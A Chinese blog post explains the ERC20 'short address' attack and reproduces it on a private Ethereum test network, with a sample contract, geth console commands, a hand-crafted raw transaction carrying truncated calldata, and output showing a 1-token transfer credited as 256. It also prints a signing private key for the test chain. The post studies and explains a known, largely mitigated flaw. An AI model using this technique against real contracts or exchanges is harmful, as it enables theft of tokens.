智能合约安全:短地址攻击

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/TurkeyCock/article/details/84061796

昨天一位博友提到短地址攻击的问题,感觉挺有意思的,就花了点时间研究了一下。

1.什么是短地址攻击

大家都知道,如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的函数为例,函数原型为:

function transfer(address to, uint amount) public returns (bool success);

我们需要通过一段68个字节的字节码来调用该函数进行转账,比如:

a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

具体可以分解为3个部分:

  • 4字节函数签名:a9059cbb
  • to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00
  • amount参数:0000000000000000000000000000000000000000000000000000000000000001

大家可能注意到,这个转账地址有点特殊:最后两个数字为0。

假如有个用户“不小心”忘记输入最后这两个0了怎么办?这样我们的输入就只有67个字节了。EVM是通过CALLDATALOAD指令从输入数据中获取函数参数的,因此它会先从后面的amount参数里“借”两个0来补足前面的地址参数。当它要加载amount参数的时候,发现位数不够,会在右边补0,参见以太坊源码:
在这里插入图片描述
所以,经过这么一折腾,实际上EVM看到是下面这些参数:

  • 4字节函数签名:a9059cbb
  • to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00(借0)
  • amount参数:0000000000000000000000000000000000000000000000000000000000000100(补0)

看到问题了没?转账地址没变,但是转账金额增大了256倍!如果你的转账地址后面有足够多的0,那么转账金额将会大得惊人~

但是有人会说,这没啥毛用啊,难道智能合约的作者会傻到不检查你地址的余额,就直接让你提币走人吗?我猜想这跟目前中心化交易所的运营机制相关。考虑下面的场景:用户充币到交易所钱包,交易所又把这些币转移到了它们内部的合约账户中。等用户发起提币申请,并通过人工审核后,再从合约中把币打到用户的账户中。

在这种情况下,交易的msg.sender就是交易所本身,因此可以通过余额检查。当然,这里有个前提:你必须能够通过人工审核!也就是审核员失职。实际上,从没有人成功利用过这个漏洞,最先发现这个问题的GNT项目组,也仅仅是观察到一笔异常交易而已,并没有产生任何实质性损失。网络上流传的攻击方法是:先找到一个里面有足够数量代币的交易所账户,充1000个币进去,然后再申请提1000个币,就可以提出来256000个币。但是,在我看来这似乎并不可行,如果有读友能想出可行的场景,欢迎给我留言~

2.现在还能重现吗?

能。

当然,不能通过常规的方式。不能通过remix,因为客户端会检查地址长度。也不能通过sendTransaction(),因为web3中也加了保护。但是,我们可以使用sendRawTransaction()。

2.1先写一个简单合约

pragma solidity ^0.4.25;

contract ABC {
    mapping (address => uint) balances;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    constructor() public {
        balances[msg.sender] = 10000;
    }

    function transfer(address to, uint amount) public returns(bool success) {
        if (balances[msg.sender] < amount) return false;
        balances[msg.sender] -= amount;
        balances[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function getBalance(address addr) public view returns(uint) {
        return balances[addr];
    }
}

2.2解锁账户

进入geth控制台,解锁第一个账户,用来部署合约:

personal.unlockAccount(eth.accounts[0])

2.3部署合约

在remix的Compile面板中,点击“Details”查看编译结果,把下面这段拷贝到控制台上部署合约:

var abcContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]);

var abc = abcContract.new(
   {
     from: web3.eth.accounts[0], 
     data: '0x608060405234801561001057600080fd5b506127106000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102da806100656000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a9059cbb14610051578063f8b2cb4f146100b6575b600080fd5b34801561005d57600080fd5b5061009c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061010d565b604051808215151515815260200191505060405180910390f35b3480156100c257600080fd5b506100f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610266565b6040518082815260200191505060405180910390f35b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015e5760009050610260565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a72305820b995f589cfcbb99e7bf5f31b8c40c052004886078f8e985c624c7348ef4c1bde0029', 
     gas: '4700000'
   }, function (e, contract){
    console.log(e, contract);
    if (typeof contract.address !== 'undefined') {
         console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
    }
 })

2.4启动挖矿

合约创建交易必须被打包执行后才能生成合约地址,在控制台启动挖矿流程:

miner.start()
admin.sleepBlocks(1)
miner.stop()

控制台会打印出生成的合约地址:

Contract mined! address: 0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed transactionHash: 0xe167a7c105d486f5e772baafb35cef1c196d188378c86d854549fc58d60ba0ca

2.5生成ABI调用字节码

也就是交易的payload部分,可以通过getData()接口获得编码结果:

var abc = abcContract.at('0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed')
var abi = abc.transfer.getData('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00', 1)

产生的字节码序列如下:

0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

2.6生成raw transaction

在上面的字节码中去掉两个0,然后生成raw transaction:

const Web3 = require('web3')
const Tx = require('ethereumjs-tx')
const privateKey = Buffer.from('9a24cc556fe35c17f4be00e970bb7f7ad5c24b9853d8965d2a810e8c412b2a88', 'hex')

const txParams = {
  nonce: '0x01', //可以通过eth.getTransactionCount(eth.accounts[0])得到
  gasPrice: '5',
  gasLimit: '5000',
  to: '0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed',
  value: '0x00',
  data: '0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001' //去掉了两个0
  // EIP 155 chainId - mainnet: 1, ropsten: 3
  chainId: 111 //我搭建的私网ID是111,根据你自己的配置调整
}

var tx = new Tx(txParams)
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))

得到签好名的交易:

0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456

2.7发送raw transaction

最后一步,通过sendRawTransaction()发送交易:

eth.sendRawTransaction('0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456')

生成的交易hash值:

“0xac0173835fc1a2e4b00bd9ef82825289ec27ef36b6120f1ee4c84394c468185a”

启动挖矿打包执行交易,然后查看目标账户的余额:

abc.getBalance.call('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00')

输出结果:

256

Bingo!我们本来只转了1个币到这个账户,但实际上转过来256个!成功复现了短地址攻击问题。

我们可以通过eth.getTransactionReceipt()可以查看event:
在这里插入图片描述
可以看到,转账金额确实变成了0x100。

3.还能薅羊毛吗?

不能。

这个漏洞在2017年爆出后,各大交易所基本都在客户端增加了地址长度检查。

另外,即使它们不做地址长度检查,web3中也增加了保护,如果地址长度不够,会在前面补0:
在这里插入图片描述
我们可以测试一下:
在这里插入图片描述

4.总结

短地址攻击是利用EVM在参数长度不够时自动在右方补0的特性,通过去除钱包地址末位的0,达到将转账金额左移放大的效果。目前主要依靠客户端主动检查地址长度来避免该问题,另外web3层面也增加了参数格式校验。虽然EVM层仍然可以复现,但是在实际应用场景中基本没有问题。

参考:

https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95

https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md

https://vessenes.com/the-erc20-short-address-attack-explained/

更多文章欢迎关注“鑫鑫点灯”专栏:https://blog.csdn.net/turkeycock
或关注飞久微信公众号:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/TurkeyCock/article/details/84061796